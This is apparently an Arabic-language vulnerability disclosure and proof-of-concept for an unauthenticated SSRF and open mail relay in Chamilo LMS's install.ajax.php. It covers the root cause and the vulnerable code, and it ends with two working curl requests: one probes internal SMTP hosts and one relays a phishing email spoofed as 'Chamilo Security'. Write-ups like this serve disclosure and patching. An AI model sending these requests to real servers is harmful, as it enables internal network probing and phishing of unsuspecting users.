
استغلال إثبات المفهوم لثغرة SSRF غير المصادق عليها وترحيل البريد الإلكتروني المفتوح في Chamilo LMS عبر install.ajax.php، مما يسمح باستكشاف الشبكة الداخلية وإرسال رسائل تصيد احتيالي.
الخطورة: عالية (CVSS 7.2)
CWE: CWE-918 (SSRF) + CWE-306 (مصادقة مفقودة)
المتأثر: chamilo/chamilo-lms 2.0-RC.2
تم إصلاحه في: 2.0-RC.3
الإشعار الأمني: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
الفضل: Romain Deperne
يمكن الوصول إلى install.ajax.php في Chamilo LMS 2.0 دون مصادقة على النسخ المثبّتة بالكامل. يقبل إجراء test_mailer الخاص به أي DSN عشوائي لـ Symfony Mailer ووجهة من بيانات POST، مما يسمح لأي مهاجم غير مصادق عليه بإجبار الخادم على بدء اتصالات SMTP إلى مضيفات داخلية عشوائية (SSRF) وإرسال رسائل بريد إلكتروني عبر خادم Chamilo كمرحّل مفتوح.
كنت أدقق Chamilo LMS بعد ملاحظة أنه جمع عدة ثغرات CVE لكنه لم يُدقَّق بعمق في نقاط نهاية AJAX الخاصة به. نهجي: سرد جميع الملفات في public/main/inc/ajax/ والتحقق مما إذا كان كل منها يبدأ بـ require_once __DIR__.'/../global.inc.php' — التضمين الذي يفرض المصادقة عبر قاعدة الشيفرة.
كان install.ajax.php هو الاستثناء. فهو يتضمن فقط محمّل Composer التلقائي. كان اسم الملف يوحي بالفعل بأنه شيفرة تثبيت متبقية — وقد أكّد البحث بـ grep عن test_mailer بداخله أنه يقبل سلسلة DSN خام لـ Symfony Mailer من بيانات POST ويمرّرها مباشرة إلى Transport::fromDsn().
هذا بدائية SSRF كاملة: يتحكم مهاجم غير مصادق عليه في البروتوكول والمضيف والمنفذ الذي يتصل به الخادم. وحقيقة أنه يرسل بريدًا إلكترونيًا فعليًا عبر أي ناقل تقوم بتكوينه تحوّله إلى مرحّل مفتوح أيضًا. أكّدت باستخدام curl بسيط أن نقطة النهاية كانت قابلة للوصول دون أي ملف تعريف ارتباط للجلسة على نسخة مثبّتة بالكامل.
السبب الجذري معماري: يتجاوز الملف جدار الحماية الأمني في Symfony لأن RewriteCond %{REQUEST_FILENAME} !-f في Apache يمرّر ملفات PHP الموجودة مباشرة إلى PHP، دون الوصول أبدًا إلى وحدة التحكم الأمامية.
الملف: public/main/inc/ajax/install.ajax.php
صُمّم الملف لمعالج التثبيت لكنه يبقى قابلاً للوصول بعد التثبيت. وخلافًا لكل نقطة نهاية AJAX أخرى في الدليل نفسه، فإنه لا يتضمن global.inc.php — مما يعني صفر مصادقة، وصفر تحقق من التصريح:
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
إجراء test_mailer (السطر ~138) يقبل معاملات POST التي يتحكم بها المهاجم:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
قارن مع أي نقطة نهاية محمية بشكل صحيح:
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
يُقدَّم الملف مباشرةً بواسطة Apache (تمرّر RewriteCond %{REQUEST_FILENAME} !-f ملفات PHP الموجودة، متجاوزةً جدار الحماية الأمني في Symfony). ويعني غياب تضمين global.inc.php عدم وجود جلسة، ولا مصادقة، ولا تحقق من اكتمال التثبيت.
راجع poc.py للحصول على عرض توضيحي كامل.
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"